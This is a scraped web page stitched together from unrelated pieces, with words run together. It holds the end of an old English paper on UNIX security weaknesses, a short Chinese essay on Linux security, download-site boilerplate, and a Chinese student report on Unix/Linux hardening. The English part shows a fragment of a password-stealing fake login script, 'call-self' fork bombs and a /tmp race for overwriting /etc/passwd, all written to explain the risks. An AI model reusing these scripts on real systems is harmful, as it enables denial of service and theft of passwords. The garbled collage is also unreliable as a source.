/f/wwm/tmp/loginsleep 1echo "Login incorrect"stty echo# reset default interrupt character DEL (^?).stty intr# logout yourself username.kill -9 $1# OK.Figure 6. Trojan horse programAbove shell program is camouflaged to login, i.e. the illegal usersexcute the program on terminal and leave, waiting for the deceived soas to steal the user's password easily. In other cases, the invadersplant Trojan horse program under someone's userid. Once the userid be used to run the program, the invader will obtain the permission and then proceed cause the file damaged. For example the programs are command pwd, command su, etc ...4. Device special filesIn UNIX system, there are two kinds of device(that is, block deviceand character device) being treated as file and called as special file.Both of them are under /dev directory. Any visit to a special fileactually means a visit to a physical device. These special files is an important aspect of system security.1) MemoryFor physical memory and kernel memory, system V provides following files: /dev/mem and /dev/kmem. mem is a special file of memory reflection, which can be used for system check up or even system repairment. If the file is writable, its privilege can be stolen byplanting Trojan horse or by reading and rewriting memory content.2) Block deviceBecause the operating of system files involves reading and writing of block device, the management of block device in UNIX system V has three levels. Among them the highest one is the interface with the file system, which includes various kinds of reading and writhing of block device. Take a disk for example. If someone has the permission to visitthe disk, he can change files on it. In UNIX system, different disksare allowed to be loaded as file systems. An illegal user can load hisown soft disk as file system and on the disk there are changed systemfiles such as some setuid programs under root. By doing this he can loadhis own file system, run illegal setuid program and get higher privileges.3) Character deviceSuch as terminal device. In UNIX system, each user can enter the system through a terminal and the user has the permission to read or write onthe terminal he logged. Because the check of file privilege in UNIX system can be done only when the file is being opened. No more checks on reading and writing operation afterwards. So some users entered the system can design a monitoring program and obtain the information input into the terminal by the cheated.5. NetworkOne of the main network programs of UNIX is uucp (UNIX to UNIX copy) which can deliver files and execute commands between UNIX systems. Because of some historic reasons, uucp is likely the unsafest part.Here is one circumstances. A user can copy a /etc/passwd file of aremote system by using uucp, find some user who has not given passwords and enter the remote system by the way of this user.Another circumstances. In uucp mechanism, unencrypted password of a remote uucp account exists in a common system file /usr/lib/uucp/L.sys. After stealing root privileges, an illegal user can destroy the remote system by reading the file and obtaining passwords of every remote uucp account.6. The others1) MailIn BSD, SunOS etc. versions, utility program /bin/mail firstly runs mktemp() to get a temporary file, then makes a judgment whether tosend or to receive a mail. After getting a file name, a mail process maybe forced to give up CPU before writing the file. At the same time, other processes may occupy CPU and be able to link some important system files to the temporary file. When the mail runs for the second time, the temporary file that the mail is to write has been change into a systemfile(such as /etc/passwd). By doing this, system files can be changed easily.2) Background commandShell provides operation character &, and enables the user to give background commands. In UNIX system, a user can set up as many background processes as he like, up to the maximum defined by the system kernel. But even the number is far less then the maximum, the system functions may also be damaged. It is regretful that ps commands of manyUNIX versions can boot exactly mirror the status of background processes. Fig. 7 shows a very simple shell program:% cat call-selfcall-self% call-self &Figure 7. a very simple shell program(1)Once being run with background command, the program will createever-increasing processes until the system crashed. Even root can not stop it with kill command. What the situation will be if the program is being run according to Fig.8 ?% cat call-selfcall-self &% call-self &Figure 8. a very simple shell program(2)3) Job schedulingIn order to enable mutiprocess to visit the computer's CPU fairly,the time assigning department of the operation system should switch over to another process after a process used up its share of CPU source. UNIX provides timing and scheduling tools, such as at and batch command. Ifa privileged user setup privileges incorrectly of the list files at.allowand at.deny under /usr/lib/cron, unprivileged users may will cause great damage to the system.Besides, many game programs create some temporary files. Some virus and invaders can invade through these files. Therefore, we should keep alert to games.III. SECURITY MEASURESEfforts in different aspects are necessary to protect the system.Firstly, designers of the system should continually strengthen the security of the operation system, enhance security checkup, and provide safer versions of the system as well as more security checking tools. Secondly, both system managers and users should make clear their own responsibilities and ensure the security of the system jointly.1. System managerThe system manager has the important responsibility to keep the systemrunning safely and should manage the system carefully:1) Setup correct system files and privileges to visit the system directory.2) Chose root password and change them peroidly, make sure which rootuser has what privileges and prevent illegal users applying accounts.3) Frequently examine sulog file, search for traces of possible invaders.4) Examine the content of file /usr/lib/crontab to prevent anyone todamage the file system on purpose or plant Trojan horse.5) Make sure each user loads his own file system.6) As for network environment,. prevent revealing o information;. prevent analyzing of communicating amount;. check any motify of information sources;. check any facility error;. check any falsely claimed request to link2. UserIn order to ensure the security of his information, each user shouldcorrectly make full use ofsecurity mechanism:1) Chose suitable passwods,keep them safely and chang them periodly.2) Set up.profile, umask and make a backup.3) Encrypt importent text and make a backup.4) Reset the terminnal bemodifyingogin into the the system to preventbeing chealed.5) Make sure that you have logouted the system whe you leave the terminal. REFERENCE:[1] Stephen Cffin, UNIX The Complete Reference, Mcgraw-Hill Co.,1991[2] Ai R.Y., Security of Computer Operation System, China Computerword No.67, Mar, 4, 1992[3] Zhu L.H., On UNIX Security, China Computerworld, No.73, Dec,5,1990[4] Zhou Sh.d., An Loophole of UNIX and Its Analysis,Electric Brain Application Times, N.1, 1992[5] Guo W.J., Several Encrypt Measures of UNIX Files, China Computerworld, No.77, Dec,5, 1990[6] SUN Microsystems, SunOS Reference Manual, 1991[7] Hu X.M. etc, UNIX Structural Analysis, Zhejiang University Press,Feb,1991本文来自:★Yes黑客联盟技术论坛★/read.php?tid-3612.html。
linux 安全

linux 安全Linux是一种开源操作系统,相比其他商业操作系统具有较高的安全性。
下面就是Linux的几个安全特点。
首先,Linux有严格的用户权限管理。
Linux通过对用户的权限进行细化划分,包括最高权限的root用户和普通用户。
普通用户只能在自己的目录下进行操作,无法对系统文件进行修改,这样可以有效地防止攻击者通过用户的身份进行系统破坏。
其次,Linux有强大的防火墙。
Linux提供了iptables防火墙工具,可以通过配置规则来限制网络流量,从而保护系统的网络安全。
管理员可以配置只开放必要的端口,关闭所有不必要的服务,从而减少系统面临的攻击面。
另外,Linux有良好的日志管理机制。
Linux记录了各种系统操作日志,包括登录、文件访问、网络连接等信息。
管理员可以通过查看日志文件来及时发现系统的异常行为,并进行相应的应对措施。
此外,Linux的软件源和软件包管理机制也是非常安全的。
Linux系统发布商会对软件源进行审核和签名,确保软件没有被篡改或包含恶意代码。
而且,软件包管理工具可以自动检查并更新系统中的软件包,以修复已知的安全漏洞,从而保持系统的安全性。
最后,Linux社区具有强大的安全意识和技术支持。
Linux社区中有许多安全专家,能够及时分享和解决安全问题,保证系统的稳定和安全运行。
总的来说,Linux具有严格的用户权限管理、强大的防火墙、良好的日志管理机制、安全的软件源和软件包管理以及强大的安全社区支持等一系列安全特点,这使得Linux成为一款相对安全的操作系统。
当然,作为系统管理员,还需要做好定期的系统更新、安全漏洞修补、安全策略等方面的工作,以提高Linux系统的安全性。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
计算机网络安全技术题目:Unix/linux系统的安全性概述班级:09 级达内班组长:朱彦文学号:09700308组员:冯鑫学号:09700310组员:刘新亮学号:09700309组员:梁小文学号:09700312组员:龚占银学号:09700313组员:高显飞学号:09700304组员:陶志远学号:09700305时间:2011年6月目录1、linux系统的介绍 (1)2、服务安全管理 (1)2.1、安全防护的主要内容 (1)3、linux系统文件安全 (1)3.1、文件相关权限的设置 (2)3.2、SUID和SGID程序 (2)4、用户访问安全 (2)4.1、口令安全 (2)4.2、登录安全 (3)5、防火墙、IP伪装个代理服务器 (4)5.1、什么是防火墙 (4)5.2防火墙分类 (4)6、服务器被侵入后的处理 (5)7、日常安全注意事项 (5)8、参考文献 (6)Unix/linux系统的安全性概述1、linux系统的介绍Linux是一类Unix计算机操作系统的统称。
Linux操作系统的内核的名字也是“Linux”。
Linux操作系统也是自由软件和开放源代码发展中最著名的例子。
严格来讲,Linux这个词本身只表示Linux内核,但在实际上人们已经习惯了用Linux 来形容整个基于Linux内核,并且使用GNU 工程各种工具和数据库的操作系统。
Linux得名于计算机业余爱好者Linus Torvalds。
Linux,其安全性漏洞已经广为流传,黑客可以很容易地侵入。
而网络服务器往往储存了大量的重要信息,或向大量用户提供重要服务;一旦遭到破坏,后果不堪设想。
所以,网站建设者更需要认真对待有关安全方面的问题,以保证服务器的安全。
2、服务安全管理2.1、安全防护的主要内容对于网站管理人员而言,日常性的服务器安全保护主要包括四方面内容:文件存取合法性:任何黑客的入侵行为的手段和目的都可以认为是非法存取文件,这些文件包括重要数据信息、主页页面 HTML文件等。
这是计算机安全最重要的问题,一般说来,未被授权使用的用户进入系统,都是为了获取正当途径无法取得的资料或者进行破坏活动。
良好的口令管理 (由系统管理员和用户双方配合 ),登录活动记录和报告,用户和网络活动的周期检查都是防止未授权存取的关键。
用户密码和用户文件安全性:这也是计算机安全的一个重要问题,具体操作上就是防止已授权或未授权的用户相互存取相互的重要信息。
文件系统查帐、su登录和报告、用户意识、加密都是防止泄密的关键。
防止用户拒绝系统的管理:这一方面的安全应由操作系统来完成。
操作系统应该有能力应付任何试图或可能对它产生破坏的用户操作,比较典型的例子是一个系统不应被一个有意使用过多资源的用户损害 (例如导致系统崩溃 )。
防止丢失系统的完整性:这一方面与一个好系统管理员的实际工作 (例如定期地备份文件系统,系统崩溃后运行 fsck检查、修复文件系统,当有新用户时,检测该用户是否可能使系统崩溃的软件 )和保持一个可靠的操作系统有关 (即用户不能经常性地使系统崩溃 )。
3、linux系统文件安全Linux的文件系统是由文件和目录构成的树形结构,每个文件目录记录包括下面内容(域):•文件名•文件类型•文件大小•文件创建修改时间•文件所有者和所有组•文件相关权限任何一项内容遭受未授权的修改,文件安全性都遭到破坏。
保护文件系统的安全性,应该从以下几个方面入手。
3.1、文件相关权限的设置Linux的文件权限决定了用户对该文件的操作能力和操作允许范围。
下面这一段是在某个Linux用户目录的文件列表 (ls -l),注意,其中第一栏表示了文件权限。
文件权限通过设置文件权限标志位实现。
标志位由十位构成。
第一位是文件类型,一般文件该位为“ -”,目录该位为“ d”(如上面的 1、2、4、8行)。
余下的九位三位一组,第二位到第四位依次为文件所有者对此文件的可读、可写、可执行权利标志位;第五到第七位分别为与该用户同组的用户对此文件的可读、可写、可执行的权利标志位:第八到第十位分别为其他用户对此文件的可读、可写、可执行的权利标志位。
比如:上面的第一个目录中,“ drwxrwxr-x”就表示这是一个目录,文件所有者(用户 bluo)可以对文件进行任何操作 (读、写、执行 ) ,同组用户可读、写、执行,其他用户可读和执行。
而“ -rw-r--r--”表示普通文件,文件所有者可读、写,其他用户只可读此文件。
当一些关键的系统文件的属性被错误设置时,就会导致不可挽回的破坏。
对文件属性一定要非常小心,否则可能导致致命的安全漏洞。
3.2、SUID和SGID程序与文件有关的还有两个附加权限位 SUID和SGID。
SUID是SetUserID(设置用户标识 )的缩写,SGID是SetGroupID(设置组标识 )的缩写。
带有这种权限的程序运行时就会带来很大的安全性漏洞。
因为当运行一个 SUID程序时,它的有效UID被设置为拥有该程序的用户 ID,而不管实际上是哪个用户在运行, SGID与此类似。
所以虽然 SUID程序是必需的,但应该尽量减少使用机会,并且要尽最大努力保证此程序安全。
作为管理员还应该经常使用find命令来浏览自己的文件系统以检查新的 SUID程序,详细语法请参考文件权限章节中的相关内容。
4、用户访问安全4.1、口令安全每个Linux的用户都拥有一个帐号,通过登录到这个帐号才能有限制地使用系统。
而保护自身的文件安全的惟一屏障就是口令,一旦这道屏障被突破,此用户及整个系统的安全便无法得到保证。
从安全角度看,口令最好是随机产生的,并且不断变换的。
但实际上任何一个用户都不愿意成天花费时间去记忆刚刚更换过的口令,这是一对矛盾。
所以用户应该做到尽可能保持频繁的口令更换频率,并且聪明地选择自己的口令保证其安全。
切忌选用与自己有关的一些数字、名词、住址、配偶名称、宠物名称、电话号码等,更不要选用字典中的词汇作为口令。
因为当今使用的很多破解口令程序都是通过一定的加密算法将字典中的词汇一个一个与口令作比较,以期闯入系统。
另外从概率角度讲,口令位数每增加一位,被破解的可能性就会相差很多数量级,因此在系统允许的范围内尽可能长地设置自己的口令实为明智之举。
那么怎么选择一个好口令呢?这里推荐三种常用方法:一是选择一个自己比较熟悉的短语或者是谚语,取出每个单词或者某短句中每个汉字对应的拼音的第一或者某一位组合起来形成口令,这样一来形成的口令接近于随机字符序列,但同时也容易记忆。
比如:好好学习天天向上。
得到的口令就是: hhxxttxs。
二是选择两个较短的单词,其间用符号或者某特定的字母加以连接,比如:dear-user-linux。
还有一种方法是采用一个故意拼写错误的单词,比如:Limux;或者使用故意加入语法错误的短语,比如: a-girls。
这样产生的口令被破解的机会就小多了。
最后最关键的是用户应当牢牢记住自己的口令,最好不要把口令写在任何地方,只有自己的脑袋是保险的。
如果实在是对记忆能力缺乏信心,那么也建议将口令藏在某个不起眼的短句中。
比如:口令是box!Here,那么将Don’t touch the top of box!Here!写到一张纸条上,贴在电源上就显得非常自然。
4.2、登录安全如果用户口令得到了良好的保证,那么紧接着的第二部分就是登录和帐号的安全性问题。
这便涉及在系统中查找可能有安全问题的帐号并及时处理。
首先很多黑客是使用没有口令的帐号进入计算机系统的,作为管理员应该经常检查口令文件,查找这种帐号,一旦发现,应该立刻通知用户或者禁止其使用。
其次对于不使用的帐号应该及时删除,使之不至于成为黑客进入的通道。
即使不删除此帐号,至少也应该在口令字段写入符号,暂时停止此帐号的使用。
再次,对于几个标准系统帐号,一般情况下应该禁止这些帐号的使用。
因为这些帐号几乎是每个非法闯入者的目标,即使使用再好的口令,也有被破解的可能,所以最安全的办法就是禁止其使用。
还有一些软件在安装过程中会自动在系统中创建帐号,所以一定要注意禁止这些帐号的使用。
对于匿名访问者帐号 (guest),一般情况下是不建议使用的。
这种帐号是为来访者提供的帐号,使他们能够使用本机上的某些资源,获得部分权限。
但同时由于guest帐号一般不设密码,所以也是进入系统的捷径。
黑客进入系统以后可以进一步获得更高的权限,可能导致安全性灾难。
黑客将尽力取得 root权限,同时以此为基点进攻网络上其他的机器,这使得追查其来源更加不容易。
所以尽可能不要使用 guest帐号。
系统中还有几个命令帐号,也就是运行给定命令然后退出。
这些帐号没有口令,虽然它们并不运行 shell,但是从安全方面也是极其危险的。
比如使用finger登录时, finger程序便运行起来,显示该系统用户,显示后结束运行。
类似的帐号还有sync和date。
这种帐号可能会泄露系统的有关信息。
系统安全实际上是由登录帐号和对应口令共同保证的,如果入侵者获得了系统用户的帐号,那他已经成功了一半。
最后是关于组帐号的问题。
组帐号是供多人使用的同一个帐号。
这对系统安全是极为不利的。
因为如果组帐号被人闯入,那么寻找泄露口令的用户是非常困难的。
所以建议创建帐号时遵循“一个帐号一个用户”的原则。
5、防火墙、IP伪装个代理服务器5.1、什么是防火墙防火墙是汽车中一个部件的名称。
在汽车中,利用防火墙把乘客和引擎隔开,汽车引擎一旦着火,防火墙不但能保护乘客安全,同时还能让司机继续控制引擎。
在电脑中,防火墙是一种装置,可使个别网络不受公共部分 (整个Internet)的影响。
本文将防火墙电脑称为“防火墙”,它能同时连接受到保护的局域网络和Internet两端。
这样受到保护的网络无法连接到 Internet,Internet也无法连接到受到保护的网络。
如果要从受到保护的网络内部接到 Internet网络,就得telnet到防火墙,然后从防火墙连上 Internet。
最简单的防火墙是 dual homed 系统(具有两个网络联结的系统)。
只要配置一台Linux主机(配置时将IPforwarding/gatewaying 设为OFF),并为每人设一帐户,他们就能登录这一主机,使用telnet、FTP,阅读电子邮件和使用所有这台主机提供的任何其他服务。
根据这项配置,这一网络中惟一能与外界联系的电脑便是这个防火墙。
Linux 2.2.x 内核用 ipchains代替了原来 2.0内核中的 ipfwadm。
ipchains较之以前的ipfwadm语法变动很大,如果想了解更多的命令和语法,可以参考ipchains howto (/linux),或者运行 ipchains -help。